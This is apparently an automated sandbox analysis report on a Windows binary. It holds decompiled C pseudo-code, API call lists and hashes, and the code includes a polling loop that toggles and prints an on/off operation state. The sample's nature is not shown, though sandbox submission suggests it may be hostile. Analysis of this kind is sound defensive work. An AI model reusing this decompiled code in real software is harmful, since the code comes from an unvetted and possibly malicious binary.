    0x00a46e86
    0x00a47090
    0x00000000
    0x00a47090
    0x00a46e91
    0x00a46e97
    0x00a46e9e
    0x00a46ea8
    0x00a46eaa
    0x00a46eb5
    0x00a46eac
    0x00a46eac
    0x00a46eac
    0x00a46ec2
    0x00a46ecf
    0x00a46ed4
    0x00a46eee
    0x00a46ef3
    0x00a46ef6
    0x00a46ef9
    0x00a46f00
    0x00a46f02
    0x00a46f0d
    0x00a46f04
    0x00a46f04
    0x00a46f04
    0x00a46f23
    0x00a46f28
    0x00a46f2b
    0x00a46f3d
    0x00a46f3d
    0x00a46f43
    0x00a46f49
    0x00000000
    0x00000000
    0x00a46f5b
    0x00a46f61
    0x00a46f64
    0x00a46f74
    0x00a46f7b
    0x00a46f7d
    0x00a46fcc
    0x00a46fcc
    0x00a46fcf
    0x00a46fd2
    0x00a46fd9
    0x00a46fdc
    0x00a47030
    0x00a47033
    0x00a4703d
    0x00a47040
    0x00a47047
    0x00a4704a
    0x00a47053
    0x00a47069
    0x00a4706a
    0x00a47072
    0x00a47083
    0x00a47088
    0x00a47088
    0x00a46f34
    0x00a46f37
    0x00a46f37
    0x00a46f3a
    0x00000000
    0x00a46f3a
    0x00000000
    0x00a46fde
    0x00000000
    0x00a46fdc
    0x00000000
    0x00a46f66
    0x00000000
    0x00a46f3d
    0x00a46cce
    0x00a46cce
    0x00a46cd1
    0x00a46cd1
    0x00a472b8
    0x00a472c2
    0x00a472c4
    0x00a472ca
    0x00a472d0
    0x00a472d6
    0x00a472dc
    0x00a472e3
    0x00a472ed
    0x00a472ef
    0x00a472fa
    0x00a472f1
    0x00a472f1
    0x00a472f1
    0x00a47307
    0x00a47314
    0x00a47319
    0x00a47333
    0x00a47338
    0x00a4733b
    0x00a4733e
    0x00a47345
    0x00a47347
    0x00a47352
    0x00a47349
    0x00a47349
    0x00a47349
    0x00a47368
    0x00a4736d
    0x00a4736d
    0x00a472d6
    0x00a47375
    0x00a4737b
    0x00a47388
    0x00a4738e
    0x00a47395
    0x00a4739f
    0x00a473a2
    0x00a473a2
    0x00000000
    0x00a473a2
    0x00a46c32
    0x00a46c38
    0x00a46c3b
    0x00a46c42
    0x00a46c57
    0x00a46c58
    0x00a46c72
    0x00a46c77
    0x00a46c77
    0x00000000
    0x00a46be6
    0x00a46bed
    0x00a46bf5
    0x00a46bfb
    0x00a46c0b
    0x00a46c0b
    0x00a46bfb
    0x00a46b15
    0x00a46b18
    0x00a46b1e
    0x00a46b27
    0x00a46b30
    0x00a473ae
    0x00a473ae
    0x00a473b9
    0x00a473b9
    0x00a46b30
    0x00a46b3c
    0x00a46b49
    0x00a46b66
    0x00a46b6b
    0x00a46b72
    0x00a46b92
    0x00a46b9c
    0x00a46ba3
    0x00a46ba6
    0x00a46bb0
    0x00a46bc4
    0x00a46bd4
    0x00000000
    0x00a46b74
    0x00a46b77
    0x00a46b81
    0x00000000
    0x00a46b81

    APIs
      • Part of subcall function 00A46140: Sleep.KERNEL32(000003E8,00000000,00000000,?), ref: 00A461B5
      • Part of subcall function 00A45F10: Sleep.KERNEL32(000003E8,00000000,00000000,?), ref: 00A45F91
    • Sleep.KERNEL32(?,?,00000000,00000000,00000000,00000000,-0001001D,?,?,00000000), ref: 00A46C0B
    • WSACleanup.WS2_32 ref: 00A473AE
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Sleep$Cleanup
    • String ID:
    • API String ID: 2502407352-0
    • Opcode ID: 8669e9d915e2fa3851abdf4cad69cc6301fa7b46464185caa1b0d8da2467090e
    • Instruction ID: 995a2a33d67cd6c4f78bd12d256be523b6ca48c0a8dc844f20e2b6dec320ad3d
    • Opcode Fuzzy Hash: 8669e9d915e2fa3851abdf4cad69cc6301fa7b46464185caa1b0d8da2467090e
    • Instruction Fuzzy Hash: BF310978A00208DFCB14CFA4C584ADDBBB6FF89314F248199E8489F241C775AE82DB90
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1052 a43360-a4338f WideCharToMultiByte 1053 a433d6-a433dc 1052->1053 1054 a43391-a43395 call a42420 1052->1054 1056 a4339a-a433a1 1054->1056 1056->1053 1057 a433a3-a433c4 WideCharToMultiByte 1056->1057 1057->1053 1058 a433c6-a433cf call a424f0 1057->1058 1058->1053
    C-Code - Quality: 100%
    			E00A43360(short* _a4) {
    				char* _v8;
    				int _v12;
    				char* _t17;
    
    				_v8 = 0;
    				_v12 = WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
    				if(_v12 != 0) {
    					_t17 = E00A42420(_v12, _v12); // executed
    					_v8 = _t17;
    					if(_v8 != 0) {
    						_t22 = _a4;
    						if(WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, _v8, _v12, 0, 0) == 0) {
    							E00A424F0(_t22, _v8);
    							_v8 = 0;
    						}
    					}
    				}
    				return _v8;
    			}






    0x00a43366
    0x00a43388
    0x00a4338f
    0x00a43395
    0x00a4339a
    0x00a433a1
    0x00a433b1
    0x00a433c4
    0x00a433ca
    0x00a433cf
    0x00a433cf
    0x00a433c4
    0x00a433a1
    0x00a433dc

    APIs
    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00A432B3,000000FF,00000000,00000000,00000000,00000000,00A432B3), ref: 00A43382
      • Part of subcall function 00A42420: GetProcessHeap.KERNEL32(00000008,00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A4242A
      • Part of subcall function 00A42420: RtlAllocateHeap.NTDLL(00000000,?,?,00A4262C,00000000,?,00A450E3,000001AC,00000000,?,00A49C88,00000000,00000000,00A49C80), ref: 00A42431
    • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000), ref: 00A433BC
      • Part of subcall function 00A424F0: GetProcessHeap.KERNEL32(00000000,00000000,00000001,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42500
      • Part of subcall function 00A424F0: HeapSize.KERNEL32(00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42507
      • Part of subcall function 00A424F0: GetProcessHeap.KERNEL32(00000000,00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42529
      • Part of subcall function 00A424F0: HeapFree.KERNEL32(00000000,?,00A4263C,00A45167,?,00A451B5,00000001,000001AC,00000000), ref: 00A42530
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Heap$Process$ByteCharMultiWide$AllocateFreeSize
    • String ID:
    • API String ID: 2862435150-0
    • Opcode ID: 3f240fa7267f9a1e5c98d22f78a790284241ae7be23b5c882141117694c1cdc3
    • Instruction ID: 06f9967acea6fa7a154746e57b8982b9659680bd4fae6529edce254df19dc33d
    • Opcode Fuzzy Hash: 3f240fa7267f9a1e5c98d22f78a790284241ae7be23b5c882141117694c1cdc3
    • Instruction Fuzzy Hash: 8101E179A40208FBEB20EFA4CD46F9EB7B5AB84710F204254B6106F2C0D6B0AA40D754
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1061 a42970-a42987 call a427d0 1064 a429b7-a429ba 1061->1064 1065 a42989-a429a0 GetExitCodeThread 1061->1065 1066 a429a2-a429a9 1065->1066 1067 a429ab-a429b1 TerminateThread 1065->1067 1066->1064 1066->1067 1067->1064
    C-Code - Quality: 100%
    			E00A42970(intOrPtr __ecx, void* _a4) {
    				long _v8;
    				intOrPtr _v12;
    				int _t9;
    
    				_v12 = __ecx;
    				_t9 = E00A427D0(__ecx, _a4);
    				if((_t9 & 0x000000ff) != 0) {
    					_v8 = 0;
    					_t9 = GetExitCodeThread(_a4,  &_v8); // executed
    					if(_t9 == 0 || _v8 == 0x103) {
    						return TerminateThread(_a4, 1);
    					}
    				}
    				return _t9;
    			}






    0x00a42976
    0x00a4297d
    0x00a42987
    0x00a42989
    0x00a42998
    0x00a429a0
    0x00000000
    0x00a429b1
    0x00a429a0
    0x00a429ba

    APIs
    • GetExitCodeThread.KERNELBASE(?,00000000,?,?), ref: 00A42998
    • TerminateThread.KERNEL32(00000001,00000001), ref: 00A429B1
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: Thread$CodeExitTerminate
    • String ID:
    • API String ID: 101341946-0
    • Opcode ID: 3f4a740617ac5f8bafd1906a728c0f4969a3816109ef94f5180039bd60830514
    • Instruction ID: c3c84aab693d4996e9d30b553a619254dbb3757935ec80ffb51f78496a43d8ee
    • Opcode Fuzzy Hash: 3f4a740617ac5f8bafd1906a728c0f4969a3816109ef94f5180039bd60830514
    • Instruction Fuzzy Hash: 7BF0307D901208A7CF14DFA5D844BEE7B78AF94301F408558F9449B241D775DA54C7A1
    Uniqueness

    Uniqueness Score: -1.00%

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 1068 a436c0-a436d5 InterlockedCompareExchange 1069 a436d7-a436f1 call a43650 call a437e0 1068->1069 1070 a436f3-a436f5 Sleep 1068->1070 1072 a436fb-a43703 1069->1072 1070->1072
    C-Code - Quality: 100%
    			E00A436C0(void* __ecx) {
    				intOrPtr _v8;
    
    				if(InterlockedCompareExchange(0xa4b060, 1, 0) != 0) {
    					Sleep(0xa); // executed
    				} else {
    					_v8 = E00A43650(1, 0xa4b064);
    					E00A437E0(_v8);
    				}
    				return 0xa4b064;
    			}




    0x00a436d5
    0x00a436f5
    0x00a436d7
    0x00a436e6
    0x00a436ec
    0x00a436ec
    0x00a43703

    APIs
    • InterlockedCompareExchange.KERNEL32(00A4B060,00000001,00000000), ref: 00A436CD
    • Sleep.KERNELBASE(0000000A,?,00A44FC5, T%d %h,00000000,00006810,00000000,00000000,?,?,?,00000000,00000000), ref: 00A436F5
      • Part of subcall function 00A437E0: InitializeCriticalSection.KERNEL32(00A4B040,?,?,00A436F1,00000000,?,?,?,00000000,00000000), ref: 00A437EC
    Memory Dump Source
    • Source File: 00000000.00000002.273246346.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true
    • Associated: 00000000.00000002.273239754.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273265989.0000000000A49000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.273273320.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_a40000_40_115.jbxd
    Yara matches
    Similarity
    • API ID: CompareCriticalExchangeInitializeInterlockedSectionSleep
    • String ID:
    • API String ID: 4144454223-0
    • Opcode ID: cfb5f4acae31bc26b482fef53de636fcac2b9ab0ca571381f3b78b0f238a45a2
    • Instruction ID: 65b597c462cc3d5c206c7ff7d84ca7a547aeede397280ce795e48d1157284808
    • Opcode Fuzzy Hash: cfb5f4acae31bc26b482fef53de636fcac2b9ab0ca571381f3b78b0f238a45a2
    • Instruction Fuzzy Hash: A1E0867D794309B7DB10DBA4AD07B5F7628ABC1B02F100574F909662D1EBD29A108262
    Uniqueness

    Uniqueness Score: -1.00%

    C-Code - Quality: 92%
    			E00A46C7F() {
    				signed int _t354;
    				signed int _t355;
    				signed int _t362;
    				void* _t366;
    				signed int _t375;
    				signed int _t409;
    				intOrPtr _t413;
    				signed int _t416;
    				long _t427;
    				intOrPtr _t443;
    				signed int _t472;
    				signed int _t473;
    				long _t475;
    				signed int _t477;
    				signed int _t489;
    				signed int _t490;
    				signed int _t495;
    				intOrPtr _t506;
    				long _t519;
    				signed int _t521;
    				intOrPtr _t543;
    				signed int _t565;
    				signed int _t576;
    				void* _t583;
    				signed int _t584;
    				signed int _t585;
    				long _t586;
    				signed int _t587;
    				signed int _t605;
    				signed int _t606;
    				intOrPtr _t614;
    				signed int _t639;
    				long _t649;
    				signed int _t651;
    				void* _t661;
    				void* _t663;
    				void* _t665;
    				void* _t666;
    
    				while(1) {
    					L92:
    					 *(_t661 - 8) = E00A46220( *(_t661 - 4),  *(_t661 + 8));
    					 *( *(_t661 + 8) + 0x10018) = 1;
    					if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    					}
    					while(1) {
    						L1:
    						 *((intOrPtr*)(_t661 - 0x44)) =  *((intOrPtr*)(_t661 - 0x24));
    						 *((intOrPtr*)(_t661 - 0x48)) =  *((intOrPtr*)(_t661 - 0x40));
    						 *((intOrPtr*)(_t661 - 0x24)) =  *((intOrPtr*)(_t661 - 0x24)) + 1;
    						if( *((intOrPtr*)(_t661 - 0x44)) >=  *((intOrPtr*)(_t661 - 0x48))) {
    							break;
    						}
    						 *(_t661 - 0x28) =  *(_t661 - 0x28) + 1;
    						if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    							L7:
    							_t489 =  *(_t661 + 8);
    							__eflags = ( *(_t489 + 0x10018) & 0x000000ff) - 1;
    							if(( *(_t489 + 0x10018) & 0x000000ff) != 1) {
    								_t490 =  *(_t661 + 8);
    								__eflags =  *((intOrPtr*)(_t490 + 0x10038)) - 0xffffffff;
    								if( *((intOrPtr*)(_t490 + 0x10038)) != 0xffffffff) {
    									E00A46480( *(_t661 - 4),  *(_t661 + 8));
    									E00A42540(_t661 - 0xc8, 0x80);
    									 *(_t661 - 0x18) = 0;
    									__eflags =  *(_t661 - 0x20) - 0xffffffff;
    									if( *(_t661 - 0x20) <= 0xffffffff) {
    										 *(_t661 - 0x2c) = 0;
    									} else {
    										 *(_t661 - 0x2c) =  *(_t661 - 0x20) + 1;
    									}
    									 *(_t661 - 0x14) =  *(_t661 - 0x2c);
    									while(1) {
    										_t354 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0x14) -  *((intOrPtr*)(_t354 + 0x10d58));
    										if( *(_t661 - 0x14) >  *((intOrPtr*)(_t354 + 0x10d58))) {
    											break;
    										}
    										 *(_t661 - 0x20) =  *(_t661 - 0x14);
    										_t366 =  *(_t661 + 8) +  *(_t661 - 0x14);
    										_t499 =  *((char*)(_t366 + 0x10956));
    										__eflags =  *((char*)(_t366 + 0x10956));
    										if( *((char*)(_t366 + 0x10956)) != 0) {
    											_t583 =  *(_t661 + 8) +  *(_t661 - 0x14);
    											__eflags =  *((char*)(_t583 + 0x10556));
    											if( *((char*)(_t583 + 0x10556)) != 0) {
    												 *(_t661 - 0x1c) = 0;
    												while(1) {
    													_t584 =  *(_t661 + 8);
    													__eflags =  *(_t661 - 0x1c) -  *((intOrPtr*)(_t584 + 0x1014c));
    													if( *(_t661 - 0x1c) >=  *((intOrPtr*)(_t584 + 0x1014c))) {
    														break;
    													}
    													_t506 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4));
    													__eflags =  *((intOrPtr*)(_t506 + 0xc)) -  *(_t661 - 0x14);
    													if( *((intOrPtr*)(_t506 + 0xc)) ==  *(_t661 - 0x14)) {
    														E00A42540(_t661 - 0x1c8, 0x100);
    														 *(_t661 - 8) = E00A46860( *(_t661 - 4), _t661 - 0x1c8, 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x1c) * 4)) + 9) & 0x000000ff);
    														__eflags =  *(_t661 - 8);
    														if( *(_t661 - 8) > 0) {
    															__eflags =  *(_t661 - 0x18) +  *(_t661 - 8) - 0x80;
    															if( *(_t661 - 0x18) +  *(_t661 - 8) >= 0x80) {
    																E00A457D0(_t661 - 0xc8,  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    																 *(_t661 - 0x18) = 0;
    																E00A42540(_t661 - 0xc8, 0x80);
    															}
    															E00A42190(_t661 +  *(_t661 - 0x18) - 0xc8, _t661 - 0x1c8,  *(_t661 - 8));
    															_t663 = _t663 + 0xc;
    															 *(_t661 - 0x18) =  *(_t661 - 0x18) +  *(_t661 - 8);
    															_t519 =  *( *(_t661 + 8) + 8) + 1;
    															__eflags = _t519;
    															 *( *(_t661 + 8) + 8) = _t519;
    														}
    														Sleep(0x3e8);
    													}
    													_t499 =  *(_t661 - 0x1c) + 1;
    													__eflags = _t499;
    													 *(_t661 - 0x1c) = _t499;
    												}
    												__eflags =  *(_t661 - 0x18);
    												if( *(_t661 - 0x18) > 0) {
    													E00A457D0( *(_t661 - 0x18),  *(_t661 - 4), _t661 - 0xc8,  *(_t661 - 0x18),  *(_t661 + 8));
    													 *(_t661 - 0x18) = 0;
    													_t499 = _t661 - 0xc8;
    													E00A42540(_t661 - 0xc8, 0x80);
    												}
    												L74:
    												__eflags =  *(_t661 + 8);
    												if( *(_t661 + 8) == 0) {
    													L78:
    													__eflags =  *(_t661 + 8);
    													if( *(_t661 + 8) != 0) {
    														_t585 =  *(_t661 + 8);
    														__eflags =  *(_t585 + 0x10d60);
    														if( *(_t585 + 0x10d60) > 0) {
    															E00A439C0(E00A436C0(_t499));
    															_push(0x68b3);
    															E00A43830(__eflags, E00A436C0(_t369), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    															_t663 = _t663 + 0x10;
    															_t586 =  *( *(_t661 + 8) + 0x10d60) * 0x3e8;
    															__eflags = _t586;
    															Sleep(_t586);
    														}
    													}
    													L81:
    													break;
    												}
    												_t587 =  *(_t661 + 8);
    												__eflags =  *((intOrPtr*)(_t587 + 0x10d68)) - 0xffffffff;
    												if( *((intOrPtr*)(_t587 + 0x10d68)) == 0xffffffff) {
    													goto L78;
    												}
    												_t375 =  *(_t661 + 8);
    												_t499 =  *(_t661 - 0x20);
    												__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t375 + 0x10d68));
    												if( *(_t661 - 0x20) !=  *((intOrPtr*)(_t375 + 0x10d68))) {
    													goto L78;
    												}
    												E00A439C0(E00A436C0(_t499));
    												_push(0x68b2);
    												E00A43830(__eflags, E00A436C0(_t376), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    												_t663 = _t663 + 0x10;
    												Sleep( *( *(_t661 + 8) + 0x10d64) * 0x3e8);
    												goto L81;
    											}
    											 *(_t661 - 0xc) = 0;
    											while(1) {
    												_t605 =  *(_t661 + 8);
    												__eflags =  *(_t661 - 0xc) -  *((intOrPtr*)(_t605 + 0x1014c));
    												if( *(_t661 - 0xc) >=  *((intOrPtr*)(_t605 + 0x1014c))) {
    													break;
    												}
    												_t543 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    												__eflags =  *((intOrPtr*)(_t543 + 0xc)) -  *(_t661 - 0x14);
    												if( *((intOrPtr*)(_t543 + 0xc)) ==  *(_t661 - 0x14)) {
    													_t443 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4));
    													__eflags =  *(_t443 + 8) & 0x000000ff;
    													if(( *(_t443 + 8) & 0x000000ff) != 0) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    													}
    													_t499 =  *(_t661 + 8);
    													__eflags = ( *(_t499 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t499 + 0x10018) & 0x000000ff) != 1) {
    														_t499 =  *(_t661 - 4);
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)) + 9) & 0x000000ff);
    														_t639 =  *(_t661 + 8);
    														__eflags = ( *(_t639 + 0x10018) & 0x000000ff) - 1;
    														if(( *(_t639 + 0x10018) & 0x000000ff) != 1) {
    															_t552 =  *(_t661 - 8) & 0x00000040;
    															__eflags =  *(_t661 - 8) & 0x00000040;
    															if(( *(_t661 - 8) & 0x00000040) == 0) {
    																E00A439C0(E00A436C0(_t552));
    																_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0xc) * 4)))));
    																_push(0x68b1);
    																__eflags =  *(_t661 + 8) + 0x1001d;
    																E00A43830(__eflags, E00A436C0( *(_t661 + 8) + 0x1001d), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    																_t663 = _t663 + 0x14;
    															}
    															L27:
    															_t499 =  *(_t661 - 0xc) + 1;
    															__eflags = _t499;
    															 *(_t661 - 0xc) = _t499;
    															continue;
    														}
    													} else {
    													}
    													break;
    												}
    												goto L27;
    											}
    											_t606 =  *(_t661 + 8);
    											__eflags =  *(_t606 + 0x10046) & 0x000000ff;
    											if(( *(_t606 + 0x10046) & 0x000000ff) == 0) {
    												L61:
    												goto L74;
    											}
    											Sleep(0x3e8);
    											 *(_t661 - 0x20) = 0xffffffff;
    											_t521 =  *(_t661 + 8);
    											__eflags =  *(_t521 + 0x10045) & 0x000000ff;
    											if(( *(_t521 + 0x10045) & 0x000000ff) != 0) {
    												 *(_t661 - 0x30) = 0;
    											} else {
    												 *(_t661 - 0x30) = 1;
    											}
    											 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x30);
    											E00A439C0(E00A436C0( *(_t661 - 0x30)));
    											_push(0x68b3);
    											E00A43830(__eflags, E00A436C0(_t405), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    											_t666 = _t663 + 0x10;
    											_t409 =  *(_t661 + 8);
    											_t524 =  *(_t409 + 0x10045) & 0x000000ff;
    											__eflags =  *(_t409 + 0x10045) & 0x000000ff;
    											if(( *(_t409 + 0x10045) & 0x000000ff) == 0) {
    												 *(_t661 - 0x34) = "OFF\n\n";
    											} else {
    												 *(_t661 - 0x34) = "ON\n\n";
    											}
    											E00A43830(__eflags, E00A436C0(_t524), "\nCurrent operation : %s",  *(_t661 - 0x34));
    											_t663 = _t666 + 0xc;
    											 *(_t661 - 0x10) = 0;
    											while(1) {
    												_t499 =  *(_t661 + 8);
    												__eflags =  *(_t661 - 0x10) -  *((intOrPtr*)(_t499 + 0x1014c));
    												if( *(_t661 - 0x10) >=  *((intOrPtr*)(_t499 + 0x1014c))) {
    													goto L61;
    												}
    												_t413 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    												__eflags =  *((intOrPtr*)(_t413 + 0xc)) -  *(_t661 - 0x14);
    												if( *((intOrPtr*)(_t413 + 0xc)) ==  *(_t661 - 0x14)) {
    													_t614 =  *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4));
    													__eflags =  *(_t614 + 8) & 0x000000ff;
    													if(( *(_t614 + 8) & 0x000000ff) != 0) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 1,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    													}
    													_t416 =  *(_t661 + 8);
    													_t499 =  *(_t416 + 0x10018) & 0x000000ff;
    													__eflags = ( *(_t416 + 0x10018) & 0x000000ff) - 1;
    													if(( *(_t416 + 0x10018) & 0x000000ff) != 1) {
    														 *(_t661 - 8) = E00A465E0( *(_t661 - 4), 6, 0,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))), 0,  *(_t661 + 8),  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 4) & 0x000000ff,  *( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)) + 9) & 0x000000ff);
    														_t499 =  *(_t661 + 8);
    														__eflags = ( *(_t499 + 0x10018) & 0x000000ff) - 1;
    														if(( *(_t499 + 0x10018) & 0x000000ff) != 1) {
    															__eflags =  *(_t661 - 8) & 0x00000040;
    															if(( *(_t661 - 8) & 0x00000040) == 0) {
    																E00A439C0(E00A436C0(_t499));
    																_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4)))));
    																_push(0x68b1);
    																__eflags =  *(_t661 + 8) + 0x1001d;
    																E00A43830(__eflags, E00A436C0( *((intOrPtr*)( *((intOrPtr*)( *(_t661 + 8) + 0x10148)) +  *(_t661 - 0x10) * 4))), " %s M%X %d\n",  *(_t661 + 8) + 0x1001d);
    																_t663 = _t663 + 0x14;
    															}
    															L48:
    															_t427 =  *(_t661 - 0x10) + 1;
    															__eflags = _t427;
    															 *(_t661 - 0x10) = _t427;
    															continue;
    														}
    													} else {
    													}
    													goto L61;
    												}
    												goto L48;
    											}
    											goto L61;
    										}
    										_t649 =  *(_t661 - 0x14) + 1;
    										__eflags = _t649;
    										 *(_t661 - 0x14) = _t649;
    									}
    									_t355 =  *(_t661 + 8);
    									__eflags =  *(_t355 + 0x10046) & 0x000000ff;
    									if(( *(_t355 + 0x10046) & 0x000000ff) != 0) {
    										_t576 =  *(_t661 + 8);
    										__eflags =  *(_t661 - 0x20) -  *((intOrPtr*)(_t576 + 0x10d58));
    										if( *(_t661 - 0x20) >=  *((intOrPtr*)(_t576 + 0x10d58))) {
    											 *(_t661 - 0x20) = 0xffffffff;
    											_t495 =  *(_t661 + 8);
    											__eflags =  *(_t495 + 0x10045) & 0x000000ff;
    											if(( *(_t495 + 0x10045) & 0x000000ff) != 0) {
    												 *(_t661 - 0x38) = 0;
    											} else {
    												 *(_t661 - 0x38) = 1;
    											}
    											 *((char*)( *(_t661 + 8) + 0x10045)) =  *(_t661 - 0x38);
    											E00A439C0(E00A436C0( *(_t661 - 0x38)));
    											_push(0x68b3);
    											E00A43830(__eflags, E00A436C0(_t358), " %s M%X \n",  *(_t661 + 8) + 0x1001d);
    											_t665 = _t663 + 0x10;
    											_t362 =  *(_t661 + 8);
    											_t498 =  *(_t362 + 0x10045) & 0x000000ff;
    											__eflags =  *(_t362 + 0x10045) & 0x000000ff;
    											if(( *(_t362 + 0x10045) & 0x000000ff) == 0) {
    												 *(_t661 - 0x3c) = "OFF\n\n";
    											} else {
    												 *(_t661 - 0x3c) = "ON\n\n";
    											}
    											E00A43830(__eflags, E00A436C0(_t498), "\nCurrent operation : %s",  *(_t661 - 0x3c));
    											_t663 = _t665 + 0xc;
    										}
    									}
    									Sleep(0x3e8);
    									while(1) {
    										L92:
    										 *(_t661 - 8) = E00A46220( *(_t661 - 4),  *(_t661 + 8));
    										 *( *(_t661 + 8) + 0x10018) = 1;
    										if(( *( *(_t661 + 8) + 0x10018) & 0x000000ff) != 1) {
    										}
    										goto L1;
    									}
    								}
